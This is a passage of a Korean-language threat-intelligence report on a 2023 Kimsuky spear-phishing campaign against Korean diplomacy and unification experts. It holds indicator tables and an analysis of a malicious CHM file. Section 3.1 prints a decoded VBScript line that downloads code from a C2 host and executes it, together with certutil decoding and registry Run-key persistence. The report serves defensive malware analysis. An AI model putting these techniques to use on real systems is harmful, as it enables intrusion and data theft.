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◈ 주요 요약 (Executive Summary)

● 외교부 평화체제과, 통일부 인도지원과 등 소속 공직자 사칭 비공개 면담 빙자해 접근

● 악명높은 김수키(Kimsuky) APT 그룹의 정찰 및 침투용 BabyShark 공격 툴킷 발견

● 북한문제 전문가를 포함해 외교·통일분야 특정 인물 표적삼아 사이버 첩보행위 진행

● 파일리스(Fileless) 등 은닉형 위협의 효과적인 대응을 위해 Genian EDR 활용 가능

1. 개요 (Overview)
1.1. 배경 (Background)

○ 지니언스 시큐리티 센터(이하 GSC)는 2023년 상반기부터 9월 전후까지 일명

김수키(Kimsuky) 그룹 의 사이버 정찰·침투 활동이 국내서 활발히 전개 됨을 포착해1

조사를 진행했습니다. 이들 그룹의 위협 활동은 갑자기 증가했다거나 감소했다는

표현보다, 평소에 지속되고 있다는 표현이 적절해 보입니다. 이미 일상화된 실존

위협으로 지적해도 전혀 과언이 아닐 정도로 우리사회에 가깝게 다가와 있는 사실을

부정하기 어렵습니다.

○ GSC는 본 위협 인텔리전스 보고서를 통해 국내서 발생 중인 지능형지속위협(APT)

동향을 공유하고, TTPs(Tactics, Techniques and Procedures) 관점의 분석 내용을2

제공하고자 합니다. 이는 국내서 발생 중인 사이버 안보 위협을 보다 능동적으로

파악하고, 지니언스 Genian EDR 서비스를 통해 보다 효과적인 대응 방안 수립과 위협3

인사이트 제공에 주목적이 있습니다.

○ 김수키는 글로벌 사이버 안보 위협 중 한국을 주요 공격 대상에 포함한 대표적 북한

정찰총국 연계 해킹 그룹을 지칭하는 별칭이며, 지난 2013년 9월 러시아 보안기업 분석

보고서 를 통해 처음 소개 됐습니다. 당시 한국은 이미 유사한 해킹 공격이 다수4

식별됐지만, 북한 소행의 해킹 공격은 남북한간 정치적 이해관계 등 여러모로 고려할

사항이 있었고, 증거기반 침해사고 조사가 면밀히 진행됐던 시기입니다.

○ 이들은 2014년 한국의 에너지분야 핵심 국가기반시설인 한국수력원자력 발전소를

상대로 해킹을 시도했고, 외교안보 전문가 등을 상대로 글로벌 첨단기술을 절취한

혐의로 대북제재 대상 지정 및 여러 보안권고문 등에 포함됐습니다.5

5 DPRK Cyber Actors Impersonating Targets to Collect Intelligence

4 [Kaspersky Lab] The “Kimsuky” Operation: A North Korean APT?

3 지니언스 Genian EDR

2 [Wikipedia] Tactics, Techniques and Procedures

1 [Malpedia] Kimsuky
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1.2. 초기 공격 벡터 (Initial Attack Vectors)

○ 지난 2023년 06월 21일 외교부 평화체제과 사무관을 사칭해 한반도평화교섭본부

통일외교 세션으로 위장된 참석요청 이메일이 발견됩니다. 처음 수신된 이메일에는

별도의 첨부파일이나 본문내 URL 링크가 존재하지 않는 평범한 업무 메일처럼

보입니다.

[그림 1-1] 해킹 공격에 쓰인 피싱 이메일 및 발신 도메인 정보

Genians Security Center 3
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○ 발신지 이메일 주소를 살펴보면, 외교부의 공식 도메인(mofa.go[.]kr)과 비슷하게

생성된 가짜 도메인(mofa.go[.]ci) 주소인 것을 알 수 있습니다. 해당 도메인은 Cloud

DNS 호스팅 서비스를 통해 2023년 6월 15일 등록됐고, 인도 기반 다국적 회사인6

Zoho Mail 서비스에 도메인을 연결해 사용했습니다.7

○ 본 위협은 전형적인 투-트랙 스피어 피싱(Two-Track Spear Phishing) 공격

수법이고, 첫 이메일에 반응을 보인 수신자를 선별해 본격적인 타깃 공격을 수행합니다.

○ 이메일 본문에 포함된 '평화체제과 통일외교 관련 세션 기획(안).pdf' 첨부파일은

국내 특정 호스트(kessol.co[.]kr)로 연결되고, 마치 보안 메일처럼 본문 내용을 위장해

[보안메일보기] 버튼 클릭을 유도합니다.

○ 해당 버튼을 클릭하면 구글 지메일 로그인 화면으로 위장한 가짜 피싱 화면이

보여지고, 비밀번호 탈취를 시도합니다. 만약 비밀번호가 입력되면 정상 PDF 문서가

보이지만, 이미 계정 정보는 유출된 이후입니다.

[그림 1-2] 피싱 서버로 악용된 한국의 특정 웹 서버 화면

○ 2023년 7월 28일에는 또 다른 인물 상대로 동일 패턴 수법의 공격이 수행됐는데,

'0908_평화체제과 통일외교관련 세션 기획(안).pdf' 첨부 파일로 이름이 변경됐고,

악용된 호스트(carbontc.co[.]kr) 주소 역시 변경됐습니다.

7 [Wikipedia] Zoho Corporation

6 Cloud DNS 호스팅
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○ 8월 31일과 9월 01일에는 통일부 소속 공직자를 사칭한 공격으로 변화가

진행됩니다. 이때 사용된 발신지 이메일의 도메인은 외교부 사칭 주소(mofa.go[.]ci)와

유사한 패턴이 사용됩니다.

[그림 1-3] 피싱 서버로 악용된 한국의 특정 웹 서버 화면

○ 통일부 사칭 공격용 발신지 이메일 도메인(unikorea.go[.]ci) 주소도 외교부 사칭

때와 동일하게 Cloud DNS 호스팅과 Zoho Mail 서비스가 사용됐습니다.

[그림 1-4] 통일부 사칭 도메인(unikorea.go[.]ci) 등록 정보

Genians Security Center 5
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1.3. 김수키 캠페인 내역 (Kimsuky Campaign History)

○ 본 위협 배후는 지난 6월부터 9월 초까지 외교부와 통일부를 번갈아가며 사칭 후

북한문제 전문가를 포함해 외교·통일분야 특정 인물을 상대로 이메일 비밀번호 탈취

피싱 공격을 수행합니다.

○ GSC는 동일한 위협 요소 관찰 중, 일명 '아기상어(BabyShark)' 공격 툴킷이 활용된

정황을 포착했습니다. 참고로 본 유형의 악성 파일은 2019년 2월, Palo Alto

Networks, Unit 42 연구원들이 북한 연계 사이버 위협 활동 사례 분석 보고서로

공개했습니다.8

○ 한편, 2023년 9월 10일부터 19일까지 한국내에서 김수키 그룹 아기상어 툴킷용

악성 파일 다수가 발견됩니다. 주로 '컴파일된 HTML 도움말 파일(.chm)'과 '바로

가기(.lnk)' 유형이 사용됐습니다. 그리고 일부 공격은 HTML 파일 내부에 압축 파일을

임베디드로 넣는 수법이 사용됩니다.

발견 날짜
압축 파일명 마지막

수정자
(작성자)

명령제어(C2)
서버

해시(MD5)
내부 파일명(다수)

2023-09-10

북의 핵위협 양상과
한국의 대응방향.alz

a3df25ab
ac771a89
2f6caf29b
140a6eb

북의 핵위협 양상과
한국의
대응방향.chm

cainnick002.
000webhost
app[.]com/ni
ck/show.php
?query=50

b1a444aa
1fe1287fd
c516e1c2
ec9f1b2

2023-09-14

압축 파일명 미상
(RAR 포맷)

db056ed7
32d7cabe
dcf10e78
3a349c8c

20231025_정책간
담회 사례비
양식.hwp

USER
(pps)

df53040b
208a5ac3
7ad207dd
fd828bb0

8 New BabyShark Malware Targets U.S. National Security Think Tanks

Genians Security Center 6
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231025 (통일부
통일정책실)윤석열
정부의 대북 정책
관련 1.5트랙 전문가
간담회(비공개)
기획안.hwp.lnk

isujeil.co[.]kr
/pg/adm/img
/upload1/list.
php?query=1

fb5aec165
279015f1
7b29f9f2c
730976

2023-09-14
2023-09-17
2023-09-19

통일부 인권인도실장
면담 관련.rar (zip)

3e622563
9930e59e
b451d629
c68d6c49

20231025_인권인
도실 사례비
양식.hwp

Leopard
(pps)

119e6b76
26e99b35
69019f0c
70885658

2310 (통일부
인권인도실)
인권인도실장 면담
관련 통일부
업무상황 보고
참고자료.hwp.lnk

isujeil.co[.]kr
/pg/adm/img
/upload0/list.
php?query=1

a9276bae
977589f3f
670f26b2
cb8a9f1

2023-09-19

인권인도실장 면담
관련.zip

f5c7538c1
49cc502d
6b937a29
65167f0

20231025_인권인
도실 사례비
양식.hwp

Leopard
(pps)

119e6b76
26e99b35
69019f0c
70885658

2310 (통일부
인권인도실)
인권인도실장 면담
관련 통일부
업무상황 보고
참고자료.hwp.lnk

ba-reum.co[.
]kr/adm/stat
us/down/list.
php?query=1

20cdcc85
d0ae460c
1b6e612b
154e0e16

[표 1-1] 악성 파일별 메타 정보 비교 자료

Genians Security Center 7
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○ 앞서 표로 정리된 내용 중, 미끼(Decoy)로 사용된 정상 HWP 파일 중 일부는

'Leopard' 계정이 최종 문서 저장자 입니다. 이 계정은 유사 위협 캠페인에서 지속

식별되고 있어 일종의 공격 배후 식별자로 구분됩니다.

○ 아래는 지난 2021년 8월 경, 마치 통일연구원 한반도 군사력 균형평가를 위한 설문

내용처럼 가장한 투-트랙 스피어 피싱 공격 유형입니다.

○ 초반에는 업무상 필요한 연구분야 설문 내용처럼 꾸며졌고, 별도의 위협요소가 없는

정상 이메일로 배달됩니다. 하지만 해당 내용에 회신 등 반응을 보이면, 악성 문서

파일을 첨부하는 등 본격적인 유인 공격 전략을 구사합니다.

○ 당시 확인된 사례에 따르면, '설문조사.doc', '종학.doc' 이름의 악성 MS Word 문서

파일을 첨부해 공격을 수행합니다.

[그림 1-5] 2021년 8월 수행된 유사 공격 이메일 화면

Genians Security Center 8
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○ 각 공격에 쓰인 MS Word 기반 DOC 문서 파일들은 악성 매크로 기능을 통해

작동하는 방식이고, 'Leopard', 'Storm' 등의 계정명이 다수 목격됩니다. 이 때문에

이른바 [작전명 폭풍(Operation Storm)] 카테고리로 명명된 유형이며,

아기상어(BabyShark) APT 공격 시리즈와 연결됩니다.

[그림 1-6] DOC 악성 문서 파일의 실행 모습과 사용자 정보

○ 이전부터 사용된 비슷한 유형을 종합해 보면, 다양한 종류의 파일이 실전 공격에 쓰인

것을 알 수 있고, TTPs 측면에서 공통 패턴이 여러가지 관측됩니다.

○ 공격자는 원격 템플릿 삽입(Remote Template Injection) 기술을 통해 C2 서버에

숨겨둔 별도의 매크로 파일을 호출한 방식도 사용했습니다. 이때는 Template 약어인

[tmp?q=6] 인자값이 쓰였고, 템플릿 파일은 'normal.x' 이름이 사용됩니다.

○ C2 도메인으로 한국내 웹 사이트가 다수 악용됐고, 그누보드(Gnuboard4) 게시판

경로도 존재합니다.

Genians Security Center 9
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파일명
만든이 명령제어(C2)

서버
해시(MD5)

최종 수정자

질문지.docx

user1 mechapia[.]com
/_admin/nicerln
m/web/style/css/
tmp?q=6
(normal.x)

1fd0abcccb
c7d4bfdc1a
11d4afa97e
6dStorm

normal.x

Storm mechapia[.]com
/_admin/nicerln
m/web/style/css/
list.php?query=1

f8d8650a85
015330751
26977f840
4005Storm

질의서.docx

이예지 inonix.co[.]kr/ko
r/board/widgets
/mcontent/skins
/tmp?q=6
(normal.x)

1670bb091
dba017606
ea5e76307
2d45fStorm

normal.x

Storm heritage2020.ca
fe24[.]com/skin/
board/gallery/lo
g/list.php?query
=1

c67fd64f6cf
1aeec3c3ad
81e34aee1e
8Storm

남북관계 복원과
남북국회회담 추진
전략(김용현).docx

USER oxusgreen.co[.]k
r/menuimg/_not
es/log/tmp?q=6
(normal.x)

a199c19a6a
cde21505b
21da9d745
62ccStorm

normal.x

Storm oxusgreen.co[.]k
r/menuimg/_not
es/log/list.php?q
uery=1

4410cc7bc9
93d75f9c07
3798f23f4c
cfStorm

월간KIMA2021_4월호군
사안보0331.docx

Storm
beilksa.scienceo
ntheweb[.]net/c
ookie/select/log/
tmp?q=6
(normal.x)

fe4dd31636
3d3631c83
c2995dd37
75f4Storm

normal.x

Storm beilksa.scienceo
ntheweb[.]net/c
ookie/select/log/
list.php?query=1

9ee9dacd67
03c74e959
a70a18ebb
3875Storm
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사이버안전참고자료.doc

Administrator
yanggucam.desi
gnsoup.co[.]kr/u
ser/views/board/
skin/secret/css/li
st.php?query=1

04a0505cc4
5d2dac4be
9387768efc
b7cuser1

210513_업무연락(사이버
안전).doc

Administrator
samsoding.hom
m7.gethompy[.]
com/plugins/dro
pzone/min/css/li
st.php?query=1

d3a317dd1
67cfa77c97
6fa9c86c24
982Storm

(6월
10일_목)신한반도체제구
상 실현과 한반도 평화의
새로운
도약(사업계획)_수정.doc

N/A

stommy.myweb
community[.]org
/community/sup
port/list.php?qu
ery=1

71dfdee26e
e08673895
e00d6f21df
90f

20210729_이윤걸_이수
용_형사건(진술내용).doc

user bipaf[.]org/bbs/
zipcode/style/css
/list.php?query=
1

90a56bc6a
66bb4e022
653895297
57460user

설문조사.doc

Leopard bipaf[.]org/bbs/
zipcode/style/ht
mls/list.php?que
ry=1

76159ef823
9c0ee7c6a6
c75f805d62
36user

FCO for GOLD,2015.4.
14.doc

user bipaf[.]org/bbs/
zipcode/style/js/l
ist.php?query=1

96c9a1cfea
d6477982b
d5a5279a2
e813Storm

종학.doc

Leopard dropped.atwebp
ages[.]com/dash
bord/loggo/list.p
hp?query=1

8ede7c76cf
88723a2a4
454793260
a970Storm

210813_업무연락(사이버
안전).doc

Administrator bipaf[.]org/bbs/
zipcode/auth/a4
b5e82/586f0a/li
st.php?query=1

1287f69b5
9f67aab247
487cdd12df
ef7user

국제정치학회
연례학술회의_안내문.doc

rayba gooogie.mygam
esonline[.]org/fil
e/upload/list.ph
p?query=1

8bee08d7b
452b5d517
80fb4dcc9c
a2bfStorm
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_22년 CKWP
북한연구과제 공모
안내_최종.doc

장영석 comr.scienceont
heweb[.]net/you
r/new/list.php?q
uery=1

00ff9f067c
3adffe04e8
9b0a65486
5d2Storm

Robert Einhorn.doc

Coyote koreawus[.]com
/gnuboard4/ad
m/img/upload/li
st.php?query=1

12ea0df10c
1c0d23dc4
141806dcd
bb72Coyote

동아시아연구원 사례비
지급 서식.doc

123
infotechkorea[.]
com/gnuboard4
/adm/cmg/uploa
d/list.php?query
=1

bf41074e39
bb3abbe4e
4640401e7
e655123

[KBS
일요진단]질문지.docx

Administrator jooshineng[.]co
m/gnuboard4/a
dm/img/ghp/up/
state.dotm

55a46a241
5d18093ab
cd59a0bf33
d0a9Administrator

state.dotm

Leopard jooshineng[.]co
m/gnuboard4/a
dm/img/ghp/up/
list.php?query=1

dde1f94b7b
8dcd720b6
952ba9d71
763fLeopard

미국의 외교정책과 우리의
대응방향.doc

leopard uppgrede.scienc
eontheweb[.]ne
t/file/upload/list.
php?query=1

4de19e2c3
9b1d193e1
71dc8d804
005a4User

[표 1-2] 과거 유사 악성 파일 비교 분석 자료

○ 공격자 추정의 계정은 'Leopard' 외에 'puma', 'Coyote' 등 육식 동물 이름이

존재합니다.

○ 이번 보고서에 자세히 기술하진 않겠지만, 사실 MS Office 기반 공격 유형에 쓰인

[콘텐츠 사용] 클릭 유도 템플릿에 고유한 디자인이 반복됩니다. 일관된 디자인의

연속성과 일부 변경된 흐름을 통해 위협 행위자 유사도 조사 활용도 가능합니다. 참고로

KISA TTP#9 보고서의 매크로 유도 템플릿과 비슷한 경우가 존재합니다.9

9 TTPs #9: 개인의 일상을 감시하는 공격전략 분석
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[그림 1-7] 'puma', 'Coyote' 사용자 정보가 포함된 악성 문서 파일

○ 악성 DOC 문서파일이 C2로 접속 후 중복실행 방지를 위해 사용된 뮤텍스(Mutex)

값은 'AlreadyRunning191122' 입니다. 해당 문자열은 다수의 Kimsuky APT

캠페인에서 보고됐으며, 이후 'AlreadyRunning19122345' 문자로 변경된 경우도

식별됩니다.

파일명
만든이

명령제어(C2) 서버 뮤텍스(Mutex)
최종수정자

북핵.doc

puma complletely.mywe
bcommunity[.]org/
file/upload/list.php
?query=1

AlreadyRunning191122

Coyote

자문요청서(한
반도정세).doc

Coyote complletely.mypres
sonline[.]com/file/
upload/list.php?qu
ery=1

AlreadyRunning191122

Coyote

[표 1-3] 동물명 계정이 포함된 악성 파일의 뮤텍스
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파일명 명령제어(C2) 서버 뮤텍스(Mutex)

인터뷰
질의문(K**).chm

mpevalr.ria[.]monst
er/SmtInfo/demo.txt

AlreadyRunning19122345

R** Questions.chm
viewfile.ria[.]monste
r/rfa/demo.txt

AlreadyRunning19122345

이**대표.chm
one.bandi[.]tokyo/cl
ever/demo.txt

AlreadyRunning19122345

[표 1-4] CHM 유형 악성파일의 뮤텍스 비교 (일부 * 표기)

○ 김수키 아기상어 시리즈는 보통 [list.php?query=1], [show.php?query=50] 등과

같은 PHP QUERY 인자를 통해 컴퓨터 정보 수집 및 탈취 명령이 작동됩니다. 그런데

[demo.txt] 유형과 상관관계를 비교해 보면 HTML 유사성이 함께 확인됩니다.

파일명
명령제어(C2)
서버

CHM 내부
HTML 파일명

Base64 디코딩 경로

인터뷰
질의문(K**).chm

mpevalr.ria[.]m
onster/SmtInfo
/demo.txt

page_1.html
"%USERPROFILE%\
Links\Document.dat
"

R**
Questions.chm

viewfile.ria[.]m
onster/rfa/dem
o.txt

page_1.html
"%USERPROFILE%\
Links\Document.dat
"

이**대표.chm
one.bandi[.]tok
yo/clever/demo
.txt

page_1.html
"%USERPROFILE%\
Links\mini.dat"

북한인권단체
활동의 어려움과
활성화 방안
이**대표.chm

file.com-port[.]
space/indeed/s
how.php?quer
y=50

page_1.html
"%USERPROFILE%\
Links\mini.dat"

[첨부 1] 타운홀
프로그램
소개.chm

point.com-def[
.]asia/indeed/s
how.php?quer
y=50

page_1.html
"%USERPROFILE%\
Links\mini.dat"

[표 1-5] C2 시리즈별 CHM 유형 비교 (일부 * 표기)
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○ 더불어 POST 바운더리(Boundary)로 사용되는 '----c2xkanZvaXU4OTA' 문자열이

자주 목격됩니다. 미국 보안기업 센티넬원 김수키 보고서에서도 인용된 바 있습니다.10

[그림 1-8] 정보 탈취에 사용되는 통신 바운더리 문자열 코드

유형 파일명 명령제어(C2) 서버 바운더리 문자열

DOC
사이버안전참고자
료.doc

yanggucam.designso
up.co[.]kr/user/views
/board/skin/secret/cs
s/list.php?query=1

----c2xkanZvaXU4OTA

CHM
[첨부 1] 타운홀
프로그램
소개.chm

point.com-def[.]asia/i
ndeed/show.php?qu
ery=50

----c2xkanZvaXU4OTA

LNK

2310 (통일부
인권인도실)
인권인도실장 면담
관련 통일부
업무상황 보고
참고자료.hwp.lnk

ba-reum.co[.]kr/adm/
status/down/list.php
?query=1

----c2xkanZvaXU4OTA

[표 1-6] 파일 유형별 바운더리 문자열 비교

10 [sentinelone] Kimsuky | Ongoing Campaign UsingTailored Reconnaissance Toolkit
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1.4. 과거 작전보안 실패 사례 (OPSEC Fail)

○ 김수키 연계 공격 사례를 조사하다 보면, 위협 행위자가 북한식 단어 표기법을

사용하는 등 신분 노출에 영향을 미치는 표현 실수와 흔적이 존재합니다. 물론, 남북한

간 언어학적 비교 분석 및 문화 차이를 제대로 이해할 수 있어야 합니다. 그럼

2022년부터 2020년까지 과거 사례들을 거슬러 올라가 보겠습니다.

■ [사례 A] 한국인터넷진흥원(KISA) 협조요청 메일 위장 건

○ 지난 2022년 6월, 마치 KISA의 사이버 위협 주의 경보 발령 내용처럼 위장해

대북분야 종사자를 겨냥한 공격을 수행한 바 있습니다. 이때 'docx 바이러스 문서 확인

방법.doc' 이름의 악성 문서를 첨부했습니다.

[그림 1-9] 한국인터넷진흥원 사칭한 해킹 메일 화면
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○ 당시 수행된 해킹 메일 본문에는 '비대면 서비스'의 북한식 표기인 '비대면 봉사'

표현이 사용됐습니다.

○ 공격에 쓰인 'docx 바이러스 문서 확인 방법.doc' 파일에는 매크로 실행을 유도하는

좌측 가짜 화면을 먼저 보여줍니다. 만약 [콘텐츠 사용] 버튼을 클릭하게 되면 우측

본문을 보여주는데, 여기에 '글이 나타납니다'의 북한식 표기인 '글이 현시됩니다'

표현을 사용했습니다.

[그림 1-10] 북한식 단어 표기법이 포함된 악성 문서 화면

○ 이때 사용된 C2 서버 주소와 뮤텍스는 다음과 같고, 앞서 살펴본 유형과 정확히

일치합니다.

파일명 명령제어(C2) 서버 뮤텍스(Mutex)

docx 바이러스 문서
확인 방법.doc

kinu.medianewsonli
ne[.]com/sign/list.ph
p?query=1

AlreadyRunning191122

[표 1-7] KISA 사칭 DOC 유형 악성파일 정보
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■ [사례 B] 국제정치학회 학술회의 안내 메일 위장 건

○ 지난 2021년 12월, 마치 국제정치학회의 연례학술회의 안내문처럼 위장해 외교

안보 전문가를 표적 삼아 공격을 수행한 바 있습니다. 이때 '국제정치학회

연례학술회의_안내문.doc' 이름의 악성 문서를 첨부했습니다.

[그림 1-11] 국제정치학회 학술회의 안내로 사칭한 해킹 메일 화면

○ 당시 발견된 해킹 메일 본문에는 한자어로 남북한 혼용이 가능하지만, 일반적으로

북한식 문장 표기에 보다 자주 쓰이는 '내부망이 불비하니' 표현이 사용됐습니다.

○ 구글 검색엔진 결과를 살펴보면, '장마철이면 부엌에 물이 차오르고 상하수도망도

불비하여 주민들이 생활상 불편을 느끼고 있었다.'라는 북한 웹 사이트 내부 문구를

확인할 수 있습니다.
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○ 더불어 이때 사용된 C2 서버 주소와 뮤텍스는 다음과 같습니다. 앞서 기술한 내용과

거의 동일하며, 마지막 수정자 계정도 'Storm' 이름으로 일치합니다.

파일명 명령제어(C2) 서버 뮤텍스(Mutex)

국제정치학회
연례학술회의_안내문.
doc

gooogie.mygameso
nline[.]org/file/uploa
d/list.php?query=1

AlreadyRunning191122

[표 1-8] 국제정치학회 사칭 DOC 유형 악성 파일 정보

■ [사례 C] 도널드 트럼프 前 미대통령 문서 위장 건

○ 지난 2020년 3월, 한국내 특정 정치인처럼 사칭한 공격자는 도널드 트럼프 전 미국

대통령과 관련된 문서 파일처럼 조작한 'Letter to President Donald Trump.doc'

이름의 악성 문서로 공격을 수행합니다.

[그림 1-12] 특정 정치인이 발송한 것처럼 사칭한 해킹 메일 화면
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○ 초기 시절 사용된 C2 서버 주소는 한국 웹 호스팅 업체 도메인도 자주 악용됐으며,

[search.hta] 파일과 [eweerew.php?er=1], [download.php?param=res1.txt] 인자

유형 등이 연결됐습니다.

파일명 명령제어(C2) 서버 뮤텍스(Mutex)

Letter to President

Donald Trump.doc

orblog.mireene[.]co
m/mobile/skin/visit/
basic/log/eweerew.
php?er=1

N/A

[표 1-9] 정치관련 문서로 위장된 악성 DOC 파일 정보

○ 그런데 당시 여기서 사용된 'download.php' 파일 내부에서 '스파이와 련동'이라는

북한식 단어 표기가 주석으로 달린 것이 확인됩니다. 이 PHP 파일은 2023년까지 계속

재활용 됩니다.

[그림 1-13] PHP 파일 내부에 주석처리된 북한식 단어 화면
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2. 공격 시나리오 (Attack Scenario)
2.1. 스피어 피싱 (Spear Phishing)

○ 다음은 2023년 9월 10일부터 19일 사이에 한국 내 대북 및 통일분야 종사자를

겨냥해 수행된 스피어 피싱 공격 중 일부 화면입니다. 마치 북한 전략 정보 분야

전문가의 보고서처럼 위장한 사례와 통일부 인권인도실장 면담 요청 내용처럼 현혹하고

있습니다.

○ 알집(ALZ) 압축파일을 첨부한 경우와 보안용 HTML 파일처럼 위장된 악성파일이

포함돼 있습니다.

[그림 2-1] 북한 핵위협 양상과 한국 대응방향 관련 문서로 위장한 공격 메일
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[그림 2-2] 통일부 인권인도실장 면담 내용으로 위장한 공격 메일

○ 앞서 초기 공격 벡터에서 기술했던 것과 마찬가지로 이메일 발신 주소가 마치 통일부

도메인과 유사한(unikorea.go[.]ci) 사례입니다.

○ '북의 핵위협 양상과 한국의 대응방향.alz' 압축 파일 내부에는 '북의 핵위협 양상과

한국의 대응방향.chm' 파일이 존재하고, 압축 파일은 비밀번호가 설정된 상태입니다.

○ 'email_17107031014.html' 파일에는 코드 내부에 '통일부 인권인도실장 면담

관련.rar' 압축 파일이 포함돼 있습니다. 파일에 비밀번호가 설정된 것처럼 보이지만,

실제로는 비밀번호가 틀리거나 입력되지 않아도 상관없습니다.
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2.2. 위협 헌팅 (Threat Hunting)

○ GSC는 2023년 09월 한국 내 북한문제 전문가를 포함해 외교·통일분야 특정 인물

표적 삼아 스피어 피싱 기반 사이버 첩보행위 정황을 다수 식별합니다. 이메일 공격은

매우 오래된 전통적 수법이지만, 표적 대상자의 평소 업무 및 활동분야에 맞춤형 주제로

정교하게 접근하기 때문에 치밀하게 준비된 공격은 효과가 나름 높은 편입니다.

날짜 이메일 첨부 파일 압축 내부 악성 파일 해시(MD5)

2023-09-10
북의 핵위협 양상과
한국의 대응방향.alz

북의 핵위협 양상과
한국의
대응방향.chm

b1a444aa1fe12
87fdc516e1c2ec
9f1b2

2023-09-14

email_17107031014
.html
(통일부 인권인도실장
면담 관련.rar)

2310 (통일부
인권인도실)
인권인도실장 면담
관련 통일부
업무상황 보고
참고자료.hwp.lnk

20cdcc85d0ae4
60c1b6e612b15
4e0e16

[표 2-1] 스피어 피싱 공격 정보

○ 공격자는 한국에서 주로 이용되는 알집(ALZ) 압축 포맷을 사용했습니다 또, 마치

비밀번호가 설정된 보안용(HTML) 파일처럼 위장해 공격을 수행했습니다. 참고로

통일부는 보안 이메일을 보낼 때 실제 비밀번호가 설정된 HTML 파일을 첨부해

전송하고 휴대폰 단문 문자메시지로 비밀번호를 별도 제공하고 있습니다.

○ 알집 압축 파일 내부에는 CHM 유형의 악성파일이 포함돼 있고, HTML 파일은

내부에 별도의 RAR 압축파일이 Base64 코드로 포함돼 있고, 압축 내부에 HWP 문서로

위장한 바로가기(LNK) 유형의 악성파일이 존재합니다.
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2.3. 공격 흐름도 (Attack Flow)

○ 공격자는 전형적인 스피어 피싱 공격 전략을 통해 피해 대상자들에게 악성 이메일을

전달하게 됩니다. 주로 대북 및 통일분야 활동가를 겨냥해 공격이 수행됐습니다.

[그림 2-3] 간략한 공격 흐름도 화면

○ 2023년 9월에는 CHM 및 LNK 유형의 악성파일을 공격에 사용하였으며, LNK

공격을 수행할 때는 정상 HWP 문서도 함께 동봉해 의심을 최소화하는데 노력했습니다.

○ C2 서버로 악용된 2개의 도메인 'isujeil.co[.]kr', 'ba-reum.co[.]kr' 주소는 모두

'218.150.78.197' 한국 아이피 주소와 연결된 곳입니다.

○ 'isujeil.co[.]kr' 도메인 경우, 공격에 따라 'upload0', 'upload1' 중간 경로가 다르게

사용된 것도 확인됐습니다.
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3. 악성파일 분석 (Malware Analysis)
3.1. (사례 1/2) '북의 핵위협 양상과 한국의 대응방향.chm'

○ 앞서 살펴 본 스피어 피싱 공격 메일에 첨부됐던 '북의 핵위협 양상과 한국의

대응방향.alz' 파일은 알집(ALZ) 포맷 압축 파일이며, 내부에 '북의 핵위협 양상과

한국의 대응방향.chm' 이름의 컴파일된 HTML 도움말 파일(.chm)이 포함돼 있습니다.

[그림 3-1] ALZ 압축 (내부)파일과 HEX Edit 내용

○ CHM 내부에 포함된 'data.hhc' 파일을 확인해 보면, 공격자가 'KEL CHM Creator

v.1.4.0.0' 프로그램을 활용해 제작한 흔적을 볼 수 있습니다.11

[그림 3-2] 'data.hhc' 파일 내부 코드 모습

11 KEL CHM Creator v.1.4.0.0
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○ 악성 파일 제작에 활용된 프로그램은 약 10년 전에 업데이트가 중단된 것으로 알려져

있지만, 인터넷을 통해 자유롭게 설치와 사용이 가능한 상태입니다.

[그림 3-3] KEL CHM Creator v.1.4.0.0 프로그램 모습

○ CHM 내부 구조를 살펴보면, 'home.html' 파일 내부에 악성 스크립트가 포함된

것을 확인할 수 있습니다.

[그림 3-4] 악성 CHM 파일 내부 구조 및 악성 스크립트 코드 모습
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○ 내부에 포함된 악성 스크립트를 살펴보면, 'cmd.exe' 명령과 'certutil.exe' 파일을

통해 Base64 인코딩 문자열을 디코딩하여 생성합니다. 그리고 레지스트리 Run 키에

'svchostno' 이름으로 등록해 컴퓨터 부팅 시마다 작동하도록 지속성을 유지합니다.

[그림 3-5] home.html 내부에 숨겨진 악성 명령어

○ 인코딩된 Base64 코드 부분을 디코딩하면, 'cainnick002.000webhostapp[.]com'

C2 서버로 통신을 시도하고, 'show.php?query=50' 인자값 응답 과정을 거치게

됩니다.

Base64 (home.html)

Encode Decode

T24gRXJyb3IgUmVzdW1lIE5leHQ6
U2V0IG14ID0gQ3JlYXRlT2JqZWN0
KCJNaWNyb3NvZnQuWE1MSFRU
UCIpOm14Lm9wZW4gIkdFVCIsICJ
odHRwOi8vY2Fpbm5pY2swMDIu
MDAwd2ViaG9zdGFwcC5jb20vbm
ljay9zaG93LnBocD9xdWVyeT01M
CIsIEZhbHNlOm14LlNlbmQ6RXhlY
3V0ZShteC5yZXNwb25zZVRleHQp

On Error Resume Next:Set mx =
CreateObject("Microsoft.XMLHTTP
"):mx.open "GET",
"http://cainnick002.000webhostap
p[.]com/nick/show.php?query=50"
,
False:mx.Send:Execute(mx.respons
eText)

[표 3-1] CHM 내부에 있는 Base64 인코딩과 디코딩 비교
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○ Base64 디코딩 값은 cmd 명령을 통해 '%USERPROFILE%\Links\desktops.ini'

파일로 생성이 됩니다. 그리고 레지스트리 HKCU 경로의 Run 키에 'svchostno'

이름으로 만듭니다.

○ 데이터에는 악성 명령이 포함된 'desktops.ini' 파일을 호출하기 위해 시스템 경로의

'cscript.exe' 파일을 선언하고, 오류와 프롬프트를 표시하지 않도록 배치모드(//b)

인자를 사용합니다. 아울러 'vbscript.exe' 통해 스크립트를 실행합니다.

[그림 3-6] 레지스트리 Run 값 및 'desktops.ini' 악성 파일 모습

○ 'desktops.ini' 파일에는 다음과 같은 내용이 포함돼 있습니다.

On Error Resume Next:Set mx =
CreateObject("Microsoft.XMLHTTP"):mx.open "GET",
"http://cainnick002.000webhostapp[.]com/nick/show.php?query=50",
False:mx.Send:Execute(mx.responseText)

[표 3-2] 'desktops.ini' 파일 코드 내용
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○ 'desktops.ini' 파일에 의해 C2 서버로 통신이 진행되면 컴퓨터 시스템 정보,

프로세스 리스트, 다운로드 폴더 정보 등을 수집해 Base64, UTF-8 함수 조건에 따라

'Info.txt' 파일로 전송을 시도합니다.

○ 이때 사용되는 바운더리(bnd) 문자열은 앞서 김수키 캠페인 내역에서 설명했던 것과

동일한 '----c2xkanZvaXU4OTA' 입니다.

[그림 3-7] 'desktops.ini' 파일 명령에 의해 호출된 코드 일부

○ 위협 행위자는 이렇게 유출된 1차 정보를 정찰용으로 사용하고, 공격 의도에 따라

서버 사이드 기반으로 추가 공격 명령을 전달할 수 있습니다. 이에 따라 예기치 못한

추가 피해가 발생할 수 있습니다.
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3.2. (사례 2/2) 'email_17107031014.html'

○ 통일부 인권인도실장 면담 관련 파일로 유포된 'email_17107031014.html' 파일이

실행되면 다음과 같이 보여집니다. 실제 이 화면은 통일부에서 보안 메일용으로

